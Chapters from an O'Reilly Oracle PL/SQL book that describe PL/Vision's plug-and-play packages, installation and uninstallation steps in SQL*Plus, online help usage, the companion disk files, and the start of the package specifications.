The most advanced packages in PL/Vision are the plug-and-play components. These packages allow developers to replace whole sections of code with programs from PL/Vision packages. In essence, you plug in PL/Vision code and immediately gain benefits in your application, employing a declarative style of programming in a procedural language. The best example of a PL/Vision plug-and-play component is PLVexc, which provides very high-level exception handling programs.

Table 4.3: PL/Vision's Plug-and-Play Packages
Package | Description
PLVcmt | Offers a programmatic interface to the execution of commits, rollbacks, and the setting of savepoints. Gives you more flexibility than calling the corresponding builtins. You can, for example, opt to turn off commits in your application without changing any of your code.
PLVdyn | Offers a high-level interface to the DBMS_SQL builtin package. You can perform many complex operations with a call to a single PLVdyn program. This package is strongly recommended over direct use of the DBMS_SQL builtin packages.
PLVdyn1 | Built upon PLVdyn, this package encapsulates dynamic SQL operations that require single bind variables (PLVdyn does not work with any bind variables).
PLVexc | Generic exception-handling package. Instead of writing your own exception handlers, just call one of the PLVexc prebuilt, high-level handlers. Your errors will be displayed or written to the PL/Vision log, as you specify.
PLVfk | Provides foreign key management, including a single function to perform lookups of foreign keys for any table and any structure. This package can greatly reduce the volume of code you have to write to manage foreign keys. The dynamic SQL in PLVfk works surprisingly quickly.
PLVlog | This package provides a generic logging facility for PL/Vision-based applications. With PLVlog, you can write information to a database table, PL/SQL table, operating system file (for PL/SQL Release 2.3 and above), or standard output.
PLVrb | Provides a programmatic interface to rollback and savepoint processing. Allows you to specify savepoints by variable, instead of hard-coding identifiers in your code. You can also opt to turn off rollbacks in your application without changing any of your code.
PLVtrc | Provides an execution trace for PL/SQL programs. Mirrors the overloading of the p package to allow you to show different kinds of data. Offers startup and terminate procedures that allows PLVtrc to maintain its own execution call stack.

Previous: 4.1 What Is PL/Vision? | Advanced Oracle PL/SQL Programming with Packages | Next: 4.3 Installation Instructions
4.1 What Is PL/Vision? | Book Index | 4.3 Installation Instructions
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 4] 4.3 Installation Instructions

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

4.3 Installation Instructions

This section describes how to install the PL/Vision Lite product and to use the PL/Vision Online Reference and the other files from the companion disk, located in the /advprog/disk/ directory of this CD.

4.3.1 What's On the Disk?

You'll see the following four files on the disk provided with this book:

disk.id

Contains label information (product name and version number)

plvlite.001

Compressed PL/Vision Lite software and online companion reference

read.me

Instructions for acquiring a non-Windows version of PL/Vision Lite

setup.exe

Executable file that installs the PL/Vision Lite program files (contained in plvlite.001).

4.3.2 Storage Requirements

To determine how much space you will need in the SYSTEM tablespace to install the PL/Vision packages, I ran the following script in my own PL/Vision account:

SELECT type,
       SUM (source_size) source_size,
       SUM (parsed_size) parsed_size,
       SUM (code_size) code_size
  FROM user_object_size
 WHERE name LIKE 'PLV%'
    OR name = 'P'
 GROUP BY type
 ORDER BY code_size DESC
/

This script accesses the USER_OBJECT_SIZE data dictionary to sum up the total size of source code (source_size), parsed code (parsed_size), and compiled code (code_size). The results are shown below (and may vary according to the final state of the code at time of publication):

SQL> start plvsize
SEF
TYPE                   SOURCE_SIZE         PARSED_SIZE        CODE_SIZE
--------------- ------------------ ------------------- ----------------
PACKAGE                      57840               92017            28795
PACKAGE BODY                266737                   0           312596
TABLE                            0                2498                0
sum                   ------------         -----------        ---------
                            324577               94515           341391

This output indicates that you will need a total of approximately 750,000 bytes in the SYSTEM tablespace to store PL/Vision.

4.3.3 Beginning the Installation

In a Windows environment, double-click on the setup.exe file to run the installation program. (If you are working in some other environment, see the read.me file for instructions.) The installation scripts will lead you through the necessary steps. The first screen you'll see is the install screen shown in Figure 4.1.

Figure 4.1: PL/Vision Lite install screen

The next screen will prompt you to specify the folder from which you want to be able to invoke PL/Vision. You can accept the default or specify the appropriate folder name (directory) for your own system. Once this step is complete, the icon named PL_Vision Lite Online appears in the folder you've specified. Double-click on it to start using the product. You'll see the main menu shown in Figure 4.2.

Figure 4.2: PL/Vision Lite main menu

At this point, all of the source files PL/Vision needs will be installed on your disk in the following three subdirectories.

install

Contains source code for all of the packages of PL/Vision.

test

Contains test scripts to execute PL/Vision code.

use

Contains additional scripts to execute PL/Vision code more easily or perform other handy tasks.

Section 4.6, "Summary of Files on Disk", later in this chapter, lists these files.

You can now access the PL/Vision Lite Online Reference, as described in the next section. To actually execute PL/Vision code, however, you will need to compile the PL/Vision packages into your database. This process is described in Section 4.3.5, "Creating the PL/Vision Packages".

4.3.4 Using the PL/Vision Lite Online Reference

Now you're ready to use the PL/Vision Lite Online Reference to browse the code. There are two ways to use this reference:

  1. Zoom in on the package of interest to obtain a general overview of the package or to find out the syntax for a particular element in the package.

  2. View the source code for a PL/Vision package specification or body directly through the Online Reference. As you look at the directory of packages, you can press a button that will let you scroll through the PL/Vision source code.

I would recommend reading the book with the Online Reference up and running on your personal computer. As you come to a chapter about a PL/Vision package, bring up the source code for that package on your screen. That way you will be able to move instantly from a topic in the text to the code being referenced.

4.3.5 Creating the PL/Vision Packages

You can install PL/Vision in three different ways:

  1. Install PL/Vision into and use it from a single Oracle account.

  2. Install PL/Vision into each Oracle account that is going to take advantage of PL/Vision functionality.

  3. Install PL/Vision into a single Oracle account and make its functionality available to other Oracle accounts through GRANTs and the creation of synonyms.

The first option is viable in small development environments. The second option requires lots of maintenance (you will have to reinstall or upgrade PL/Vision in each of the accounts). The third option is the one selected by most development organizations using PL/Vision.

If you do want to install PL/Vision into a single account and then share it across Oracle accounts, you should grant the SELECT ANY TABLE privilege to the PL/Vision account (a.k.a., PLVISION). If you do not take this step (shown below), you will find that several PL/Vision utilities will not work as desired.

Specifically, utilities like PLVvu.err (to display compile errors), PLVvu.code (to display stored code) and the PLVddd package (to reverse engineer DDL) will not return the desired results because of the way Oracle data dictionary views are defined. A number of the ALL_* views upon which the standard PL/Vision packages are defined restrict access to information about other accounts. The only way that PL/Vision can retrieve and display the information you will want from a shared perspective is by accessing the DBA_* data dictionary views.

So before you install PL/Vision, decide how you plan to use and share this product and grant privileges accordingly. Then take the following steps:

  1. Choose or create an Oracle user account into which the PL/Vision packages and tables will be installed (hereafter referred to as the PL/Vision account). You can use a preexisting account, but you are probably better off installing all software in a "fresh" account. The recommended name for the PL/Vision account is PLVISION. You should not use PLV or any other name which is also a PL/Vision package name. Any of those names could cause compile errors and inconsistent behavior.

    To install and execute PL/Vision properly you will need to able to create tables, indexes, and synonyms, create packages, and read the DBA_* data dictionary views. You can grant these roles and privileges from SQL*Plus or you can use products like Oracle Navigator in Personal Oracle7.

    At a minimum, the PL/Vision account should be granted the CONNECT and RESOURCE roles. If you are going to share PL/Vision across accounts, you will also want to grant the SELECT ANY TABLE privilege. For example, if the SYSTEM account is a DBA account with a password of MANAGER, you would take these steps in SQL*Plus:

    SQL> connect system/manager
SQL> grant select any table to PLVISION;

    You also need to make sure that the PL/Vision account has EXECUTE authority on DBMS_LOCK. To accomplish this, connect to your SYS account and issue this command:

    GRANT EXECUTE ON DBMS_LOCK TO PLVISION;

    where PLVISION is the name of your PL/Vision account.

  2. Set the default directory in SQL*Plus to the directory containing the PL/Vision software. Connect through SQL*Plus to the PLV account.

  3. Run the PL/Vision package installation script. If you are running an Oracle Server Release 7.2 or below, run the plvinst.sql file as follows:

    SQL> @plvinst

    This script will create all packages and write the log of this activity to the plvinst.log file. If you are running Oracle Server Release 7.3 or above, run the plvins23.sql script as follows:

    SQL> @plvins23

    The installation script will create all packages and write the log of this activity to the plvins23.log file.

The version of PL/Vision Lite installed with plvins23.sql recognizes and makes use of the UTL_FILE package to perform operating system file I/O.

The remaining installation steps apply to installing PL/Vision for use by other users in your database.

4.3.6 Granting Access to PL/Vision

If you want to share PL/Vision among other users, run the plvgrant.sql script to grant execute authority on the PL/Vision packages. To grant execute authority to all users, execute the following command:

SQL> @plvgrant public

To grant execute authority to a particular user, execute the following command:

SQL> @plvgrant user

where user is the name of the user to whom you want access granted. Once you have granted access to PL/Vision packages from outside the PLV account, you will also probably want to create synonyms so you don't have to reference the PLV account by name when you call a PL/Vision program.

To create public synonyms for each of the PL/Vision packages, execute the plvpsyn.sql script from the PLV account as follows:

SQL> @plvpsyn connect_string

where connect_string is the connect string of a DBA account from which public synonyms can be created. The string may consist of the user name or user name/password combination. The plvpsyn.sql script will connect into that account and run a generated script of CREATE PUBLIC SYNONYM statements.

To create private synonyms for each of the PL/Vision packages, execute the plvsyn.sql script from the PLV account as follows:

SQL> @plvsyn connect_string

where connect_string is the connect string of the account for which private synonyms will be created. The string may consist of the user name or user name/password combination. The plvsyn.sql script will connect into that account and run a generated script of CREATE SYNONYM statements for that user.

Previous: 4.2 PL/Vision Package Bundles | Advanced Oracle PL/SQL Programming with Packages | Next: 4.4 Installing Online Help for PL/Vision
4.2 PL/Vision Package Bundles | Book Index | 4.4 Installing Online Help for PL/Vision
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 4] 4.4 Installing Online Help for PL/Vision

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

4.4 Installing Online Help for PL/Vision

PL/Vision takes advantage of the online help architecture of PLVhlp. If you choose to install the set of parallel help packages for PL/Vision, users will be able to request help during their SQL*Plus sessions on any of the PL/Vision packages.

To install the PL/Vision help packages, follow these steps:

  1. Set the default directory in SQL*Plus to the directory containing the PL/Vision software. Connect through SQL*Plus to the PLV account.

  2. Run the PL/Vision help installation as follows:

    SQL> @plvinsth

You will then have created a help package for each PL/Vision package. The naming convention for these packages is pkg_hlp, where pkg is the PL/Vision package name. For example, the help text for the PLVio package is contained in the PLVio_hlp package. The help packages consist only of help text in the form of PL/SQL comment blocks; these packages do not have bodies.

See Section 4.5, "Using Online Help" for more information about how to access the PL/Vision online help text.

4.4.1 Special Handling for PLVdyn

As I explain in Chapter 19, PLVdyn and PLVfk: Dynamic SQL and PL/SQL, you may want to install a copy of PLVdyn in the account of each developer who will be using this functionality. This step will avoid many potential headaches. If you are going to do this, you should take the following steps after installing PL/Vision and creating all synonyms:

  1. Connect to the account in which you wish to install a private copy of PLVdyn. Let's call it the DEV account.

  2. Drop the private synonym for PLVdyn in your user account with the following command.

    SQL> drop synonym plvdyn;

    If you have created public synonyms, you can skip this step.

  3. Install the PLVdyn package in the DEV account. Run these two scripts:

    SQL> @plvdyn.sps
SQL> @plvdyn.spb

PLVdyn is now installed in and owned by the DEV account. You can also follow these same steps to move the PLVdyn1 package to a local account.

4.4.2 A PL/Vision Initialization Script for SQL*Plus

If you plan to use PL/Vision from within SQL*Plus, you will want to consider creating a login.sql (or modifying your current file) that sets up your session from a PL/Vision perspective. PL/Vision provides two different scripts for your use: the login.sql and login23.sql files. Use the login.sql script if you're using PL/SQL Release 2.2 or earlier. Use the login23.sql script if you're using PL/SQL Release 2.3 and beyond.

Here are the contents of login.sql:

set feedback off
exec plvgen.set_author ('Sam I Am');
@ssoo
set feedback on

where ssoo.sql is a script that enables output from the DBMS_OUTPUT package. The call to PLVgen.set_author defines the default author used in the headers of generated PL/SQL program units. Feel free to change the string passed to set_author.

The contents of login23.sql are almost the same:

set feedback off
exec plvgen.set_author ('Sam I Am');
exec plvfile.set_dir ('c:/plv');
@ssoo
set feedback on

The PLVfile.set_dir program sets the default directory for file I/O. You will probably want to change the string passed to set_dir, but it is very useful to set some value on startup of your SQL*Plus session.

4.4.3 Converting Scripts to PL/SQL Programs

Since SQL*Plus is a very common interactive execution platform for PL/SQL code, I make use of it throughout the book and in scripts provided on the disk. If you do not use SQL*Plus, it is generally very easy to convert SQL*Plus scripts to PL/SQL procedures. These procedures can then be executed in your environment to achieve the same effect as the scripts. Consider the following script (found in the file dumpemp.sql in the use subdirectory on the companion disk):

BEGIN
   PLVio.settrg (PLV.pstab);
   FOR emp_rec IN
       (SELECT ename FROM emp WHERE deptno = &1)
   LOOP
      PLVio.put_line (emp_rec.ename);
   END LOOP;
   PLVio.disptrg;
END;
/

This script uses PLVio to display all of the employee names in the specified department. The &1 in the fourth line is a substitution parameter in SQL*Plus. To make this script work in PL/SQL, you can transform the &1 into an actual PL/SQL parameter and wrap the script inside a procedure header as follows:

PROCEDURE dumpemp (dept_in IN emp.deptno%TYPE)
IS
BEGIN
   PLVio.settrg (PLV.pstab);
   FOR emp_rec IN
       (SELECT ename FROM emp WHERE deptno = dept_in)
   LOOP
      PLVio.put_line (emp_rec.ename);
   END LOOP;
   PLVio.disptrg;
END;

4.4.4 A Warning About Partial Installation

Do not attempt to install and use just a portion of PL/Vision. Why might you even consider such a thing? You might, for example, only want to use a single package, such as PLVvu to view your compile errors more effectively. You might balk at having to install all of those PL/Vision packages. However, almost every package in PL/Vision relies on many different PL/Vision packages in order to provide you with the highest possible level of functionality.

As a result, you must install all packages, following the directions provided in this chapter, whenever you want to use any portion of the product.

4.4.5 Uninstalling PL/Vision

To uninstall PL/Vision, you need to drop all synonyms, drop PL/Vision tables, and remove the packages. You can use PL/Vision to perform some of these steps.

To remove all the PL/Vision tables from an account, connect to that account in SQL*Plus and issue this command:

SQL> exec PLVdyn.drop_object ('table', 'PLV%');

All tables beginning with "PLV" will be dropped. This will take care of PL/Vision tables. You should, of course, ensure that there are no other tables that have this same naming pattern before you execute this command.

You can also execute the following script to remove all PL/Vision tables:

SQL> @plvtrem

To remove all the public synonyms for PL/Vision packages, connect to the PLV account in SQL*Plus (or a different DBA account if PLV is not a DBA account) and issue this command:

SQL> @plvdpsyn <connect_string>

The connect string is described in the section called "Installing PL/Vision."

To drop private synonyms for each of the PL/Vision packages, execute the plvdsyn.sql script from the account that has the private synonyms as follows:

SQL> @plvdsyn

You are now ready to remove the packages that make up PL/Vision. To do this, connect to the PLV account and issue the following command:

SQL> @plvprem

All packages and standalone programs will then be dropped.

Previous: 4.3 Installation Instructions | Advanced Oracle PL/SQL Programming with Packages | Next: 4.5 Using Online Help
4.3 Installation Instructions | Book Index | 4.5 Using Online Help
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 4] 4.5 Using Online Help

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

4.5 Using Online Help

PL/Vision takes advantage of its own PLVhlp package to provide online help for its programs. As I've mentioned before, the help text that serves as source for this information resides in a set of parallel help packages. You can use several PL/SQL procedures or SQL*Plus scripts to access the help text.

To view the top-level help for a PL/Vision package, call the help.sql script (installed in the use subdirectory) as follows:

SQL> @help PKG (or SQL> exec PKG.help)

where PKG is the name of the package. So to see top-level help for PLVio, enter:

SQL> @help plvio (or SQL> exec plvio.help)

The case of your package name is not important. You will then see an overview of the package, a list of other topics available for this package and an index of programs defined in the package.

If the text exceeds the length of a PLVhlp page (the default is set to 25 lines), you will see this line after the end of the help text:

...more...

If there is more help text, you can then enter this command to see the next page:

SQL> @more (or SQL> exec plvhlp.more)

The format of the help index (also known as the help listing) is as follows:

N - program1_name         M - program2_name

where N is a number and program_name is the name of the program. You can use the number or the program name to get more information about that particular program or topic, as explained in the next section.

4.5.1 Zooming in on help text

You have two ways to zoom in on a particular topic within the current package's help text (the current package or program is defined by the parameter you pass in the call to help.sql): the zoom.sql and zoomn.sql scripts (both in the PL/Vision use subdirectory).

To zoom in on a topic by name you must first have executed the help.sql script (or the help procedure for the package of interest) to set the current program. Then you execute the zoom script, specifying the topic for which you want information:

SQL> @zoom put_line

If you do not want to have to type a program name or topic, you can also zoom in by a number from the help index. Again, you must first have executed the help.sql script to set the current program. Then you execute the zoom script, providing the topic number for which you want information. Suppose that my help index looks like this:

Listing for PACKAGE PLVio
1 - put_line        2 - get_line
3 - setsrc          4 - settrg

You can see information about the setsrc (set source) procedure by entering the following command at the SQL*Plus prompt:

SQL> @zoomn 3

NOTE: Many of these scripts will execute only within the SQL*Plus environment. Others are more generic SQL or PL/SQL utilities and can be used in any environment that executes SQL statements and PL/SQL anonymous blocks.

Previous: 4.4 Installing Online Help for PL/Vision | Advanced Oracle PL/SQL Programming with Packages | Next: 4.6 Summary of Files on Disk
4.4 Installing Online Help for PL/Vision | Book Index | 4.6 Summary of Files on Disk
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 4] 4.6 Summary of Files on Disk

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

4.6 Summary of Files on Disk

The tables in this section list the scripts contained in subdirectories created by the installation procedure. These are in addition to the individual filenames of the PL/Vision packages listed earlier; note that all filenames are in dot notation, where the first component is the package name (e.g,. PLVvu.code).

4.6.1 Contents of the install Subdirectory

File

Description of Contents

plv*.spb

Bodies of the PL/Vision packages.

plv*.sps

Specifications of the PL/Vision packages.

plvdata.sql

Creates the data structures needed to use PL/Vision. Most of this script consists of a series of INSERT statements to populate the PLV_token and PLV_token_type tables.

plvdpsyn.sql

Drops all public synonyms for PL/Vision objects.

plvdsynl

Drops all private synonyms for PL/Vision objects in a specified account.

plvgrant.sql

Grants access to all PL/Vision objects to the specified account or to PUBLIC.

plvins23.sql

Installs PL/Vision for all PL/SQL Releases 2.3 and above (the f indicates support for File I/O).

plvinst.sql

Installs PL/Vision for all PL/SQL Releases 2.2 and below.

plvinsth.sql

Installs PL/Vision online help text.

plvprem.sql

Removes all PL/Vision packages and code elements.

plvpsyn.sql

Creates public synonyms for all PL/Vision packages.

plvsize.sql

Displays the size of PL/Vision stored code by accessing the USER_OBJECT_SIZE data dictionary.

plvsyn.sql

Creates private synonyms for all PL/Vision packages for the specified account.

plvtrem.sql

Removes all PL/Vision tables.

4.6.2 Contents of the test Subdirectory

File

Description of Contents

*.tst

The disk contains a series of test scripts for many of the PL/Vision packages. They are generally named PKG.tst where PKG is the name of the package. Examples are PLVtrc.tst and PLVexc.tst. You can use these as a starting point for executing and trying out the PL/Vision packages.

isnum.spp

A package containing multiple implementations of a function that returns TRUE if the string is a number, FALSE otherwise.

isnum.tst

A test script to analyze the performance of the various functions in isnum.spp.

lower.spp

A package used to test the conversion of code to upper- and lowercase using the PLVcase package.

mthtotal.sf

A stored function which uses PLVfile to locate a specific line in a file and then return a value extracted from that line.

PLVexc1.spp

The first version of PLVexc the author developed to provide high-level exception-handling capabilities. It is interesting to compare this iteration with the final version to see how the capabilities of PLVexc grew increasingly abstract and declarative.

showasci.sql

Simple script to show the contents of the ASCII code table for the specified range of numbers.

showhelp.all

Code used to implement a prototype for an online help mechanism.

spiral.all

All of the different iterations of code that evolved in Chapter 3, The PL/SQL Development Spiral

testpkg.sql

Tests the overhead required to retrieve a value from a packaged global versus a local variable.

timerep.sql

A script that compares the performance of a string-repeating function for different implementations.

upcexc.spp

Example of an application-specific exception-handling package built over the more generic PLVexc package.

4.6.3 Contents of the use Subdirectory

File

Description of Contents

code.sql

Shortcut for executing PLVvu.code to see the source code for a stored object.

creind.sql

Creates a single index using dynamic SQL.

dispfile.sql

Displays the contents of a file using UTL_FILE and DBMS_OUTPUT (well, actually using the PL/Vision packages that in turn use those builtin packages).

dumpemp.sql

Demonstration of use of PLVio to dump the contents of the emp table to a PL/SQL table (the PLVio target repository).

dumpprog.sql

Dumps an program stored in the database out to an operating system file.

dumpprog.sql

Dumps the source code for a program into an operating system file using the PLVfile package.

dynps.sql

Demonstration of need to declare data structures as globals (in a package specification) if you are going to reference that data in a dynamically constructed PL/SQL block.

dynvar.sql

Demonstration of code required to dynamically create a package containing a global variable, including use of PLVtmr to calculate performance of this action.

errm.sql

Shortcut to execute PLV.errm to display the error message for an error code.

execall.sql

Grants execute authority on the specified program unit to PUBLIC and then creates a public synonym for that program.

func.sql

Shortcut to generate a function using the PLVgen.func program generator.

gendesc.sql

Demonstration of use of PLVobj.loopexec and dynamic PL/SQL to generate a script that outputs a DESC statement for each specified object.

gentkn.sql

Script that generates INSERT statements for the PLV_token and PLV_token_type tables.

haverr.sql

Shows all the modules that have entries in USER_ERRORS. A good quick way to see if an installation script completed successfully.

help.sql

Displays the top-level help for the specified program.

inctlg.sql

Shows the contents of the PLVctlg table for a particular program.

inexc.sql

Script to display contents of default PL/Vision exception log.

inline.sql

Displays all lines of code from the specified program that contains a particular string, relying mainly on PLVobj.

inline2.sql

Another version of inline that relies on PLVio to do the same job and requires much less code.

inlog.sql

Script to display the contents of the default PL/Vision log.

inrfrnc.sql

Displays the contents of the PLVrfrnc table for a particular program.

insrc.sql

Quick glance at the contents of PLV_source, the default repository for source code when writing to a database table.

intree.sql

Displays all elements which are dependent on the specified object, as is currently stored in the PLVrfrnc table.

listing.sql

Displays the element listing or index from the PLVhlp online help for a given package.

login.sql

Sample startup script for SQL*Plus (for PL/SQL Release 2.2 or earlier).

login23.sql

Sample startup script for SQL*Plus (for PL/SQL Release 2.3 or later).

modprs.sql

Shortcut script to generate and display the PL/SQL parser (via PLVprsps) of the specified program unit. The second argument of the script allows you to specify the type of identifiers to be retained in the parse. See the PLVprsps specification for the valid options for the second parameter.

more.sql

Shows the next page of online help using the PLVhlp facility.

nameres.sql

Provides a easy-to-call interface to the DBMS_UTILITY.NAME_RESOLVE builtin procedure.

nametoke.sql

Shortcut script to execute the DBMS_UTILITY.NAME_TOKENIZE builtin and see the results.

now.sql

Displays the current date and time.

plvcat.sql

Script to call PLVcat.module to catalogue all PL/Vision packages.

recomp.sql

Generates a SQL*Plus script to recompile and show errors for any program whose status is currently set to INVALID.

sepb.sql

Shortcut for SHOW ERRORS PACKAGE BODY, which displays the errors for the specified package body.

setcase.sql

Uses the PLVcase package to set or convert the case of one or more programs as specified. The script reads the source code from the data dictionary, writes it out to an operating system file, and then CREATE OR REPLACEs it back into the database.

sherr.sql

Shortcut for a call to the PLVvu.err procedure. Accepts a single argument, the program for which you want to display errors.

showerr.sp

An early version of the PLVvu.err procedure; this stored procedure displays error information.

showerr.sql showerr1.sp showerr2.sp

Different implementations of scripts that provide an alternative to the SHOW ERRORS command of SQL*Plus

showlog.sql

Shows the contents of the PL/SQL table-based PL/Vision log for the specified context entered on the current day.

showobj1.sql

Example of use of PLVobj cursor-related elements to query and display all the objects that match the specified string.

showobj2.sql

Another version of "show objects" that accomplishes the same task with a higher-level PLVobj element, vu2pstab.

showsrc.sql

Quick and simple display of the specified lines (start and end range) source code for a particular program. You can also use PLVvu.code to take advantage of the full range of features of that utility.

ssoo.sql

Executes Set ServerOutput On (hence, "ssoo") and sets the buffer size to one megabyte (the maximum).

vu.sql

A SQL*Plus shortcut script to execute PLVvu.code to view your stored code.

vuindex.sql

Allows you to view all indexes and their columns for the specified table.

zoom.sql

Displays PLVhlp online help text for a specified topic.

zoomn.sql

Displays PLVhlp online help text for a specified topic by number.

Previous: 4.5 Using Online Help | Advanced Oracle PL/SQL Programming with Packages | Next: 5. PL/Vision Package Specifications
4.5 Using Online Help | Book Index | 5. PL/Vision Package Specifications
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] PL/Vision Package Specifications

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
Previous: 4.6 Summary of Files on Disk Chapter 5 Next: 5.2 p: a DBMS_OUTPUT Substitute

5. PL/Vision Package Specifications

Contents:
Common Package Elements
p: a DBMS_OUTPUT Substitute
PLV: Top-Level Constants and Functions
PLVcase: PL/SQL Code Conversion
PLVcat: PL/SQL Code Cataloguing
PLVchr: Operations on Single Characters
PLVcmt: Commit Processing
PLVddd: DDL Syntax Dump
PLVdyn: Dynamic SQL Operations
PLVexc: Exception Handling
PLVfile: Operating System I/O Manager
PLVfk: Foreign Key Interface
PLVgen: PL/SQL Code Generator
PLVhlp: Online Help Architechture
PLVio: Input/Output Processing
PLVlex: Lexical Analysis
PLVlog: Logging Facility
PLVlst: List Manager
PLVmsg: Message Handling
PLVobj: Object Interface
PLVprs: String Parsing
PLVprsps: PL/SQL Source Code Parsing
PLVrb: Rollback Processing
PLVstk: Stack Manager
PLVtab: Table Interface
PLVtkn: Token Table Interface
PLVtmr: Program Performance Analyzer
PLVtrc: Trace Facility
PLVvu: Code and Error Viewing

This chapter pulls together all the specifications of the packages of PL/Vision. Organized in alphabetical order by package name, these specifications give you the basic information you need to know to call the PL/Vision programs properly in your own applications.

5.1 Common Package Elements

In providing online help, all of the PL/Vision packages take advantage of the PLVhlp utility. This is accomplished by including a help procedure in each package; the header of this procedure is as follows:

PROCEDURE help (topic_in IN VARCHAR2 := NULL)

You can therefore obtain "top-level" help for any documented package in PL/Vision via the following command (where PLVpkg is the name of the package):

SQL> exec PLVpkg.help

Previous: 4.6 Summary of Files on Disk | Advanced Oracle PL/SQL Programming with Packages | Next: 5.2 p: a DBMS_OUTPUT Substitute
4.6 Summary of Files on Disk | Book Index | 5.2 p: a DBMS_OUTPUT Substitute
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.2 p: a DBMS_OUTPUT Substitute

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

5.2 p: a DBMS_OUTPUT Substitute

The p (Put) package provides a powerful, flexible substitute (and one that requires minimal typing) for Oracle's builtin DBMS_OUTPUT.PUT_LINE package. See Chapter 7, p: A Powerful Substitute for DBMS_OUTPUT for details.

5.2.1 Toggling output from the p package

PROCEDURE turn_on;

Turn on output from the p.l procedure (the default). Equivalent to calling DBMS_OUTPUT.ENABLE to enable output from DBMS_OUTPUT.

PROCEDURE turn_off;

Turn off output from the p.l procedure. This setting can be overridden in a particular call to p.l by specifying TRUE for the final show argument.

5.2.2 Setting the line separator

PROCEDURE set_linesep (linesep_in IN VARCHAR2);

Sets the character(s) to be recognized as the line separator in your PL/SQL code (default is =). A line that consists only of the line separator will be displayed by p.l as a blank line.

FUNCTION linesep RETURN VARCHAR2;

Returns the line separator character(s).

5.2.3 Setting the line prefix

PROCEDURE set_prefix (prefix_in IN VARCHAR2 := c_prefix);

Sets the character(s) used as a prefix to the text displayed by the p.l procedure.

The c_prefix constant is defined in the p package as CHR(8).

FUNCTION prefix RETURN VARCHAR2;>

Returns the prefix character(s).

5.2.4 The overloadings of the l procedure

PROCEDURE l
   (date_in IN DATE, mask_in IN VARCHAR2 := PLV.datemask,
    show_in IN BOOLEAN := FALSE);

PROCEDURE l (number_in IN NUMBER, show_in IN BOOLEAN := FALSE);

PROCEDURE l (char_in IN VARCHAR2, show_in IN BOOLEAN := FALSE);

PROCEDURE l
   (char_in IN VARCHAR2, number_in IN NUMBER, show_in IN BOOLEAN := FALSE);

PROCEDURE l
   (char_in IN VARCHAR2, date_in IN DATE,
    mask_in IN VARCHAR2 := PLV.datemask, show_in IN BOOLEAN := FALSE);

PROCEDURE l (boolean_in IN BOOLEAN, show_in IN BOOLEAN := FALSE);

PROCEDURE l
   (char_in IN VARCHAR2, boolean_in IN BOOLEAN,
    show_in IN BOOLEAN := FALSE);

PROCEDURE l
   (file_in IN UTL_FILE.FILE_TYPE, show_in IN BOOLEAN := FALSE);

The version of l that displays the contents of a UTL_FILE file handle can only be used in PL/SQL Releases 2.3 and beyond (and is only installed when you run the plvinstf.sql script).

If you pass TRUE for the show_in argument, you will always see output from that call to p.l -- even if you have called p.turn_off earlier in the session (but only if you have enabled output from DBMS_OUTPUT).

Previous: 5.1 Common Package Elements | Advanced Oracle PL/SQL Programming with Packages | Next: 5.3 PLV: Top-Level Constants and Functions
5.1 Common Package Elements | Book Index | 5.3 PLV: Top-Level Constants and Functions
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.3 PLV: Top-Level Constants and Functions

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

5.3 PLV: Top-Level Constants and Functions

The PLV (PL/Vision) package provides a single collection point for constants and basic functions used throughout the PL/Vision library of packages. See Chapter 6, PLV: Top-Level Constants and Functions for details.

5.3.1 PL/Vision constants

dbtab CONSTANT VARCHAR2(2) := 'DB';
pstab CONSTANT VARCHAR2(2) := 'PS';
file CONSTANT VARCHAR2(2) := 'F';
string CONSTANT VARCHAR2(2) := 'S';
stdout CONSTANT VARCHAR2(2) := 'SO';

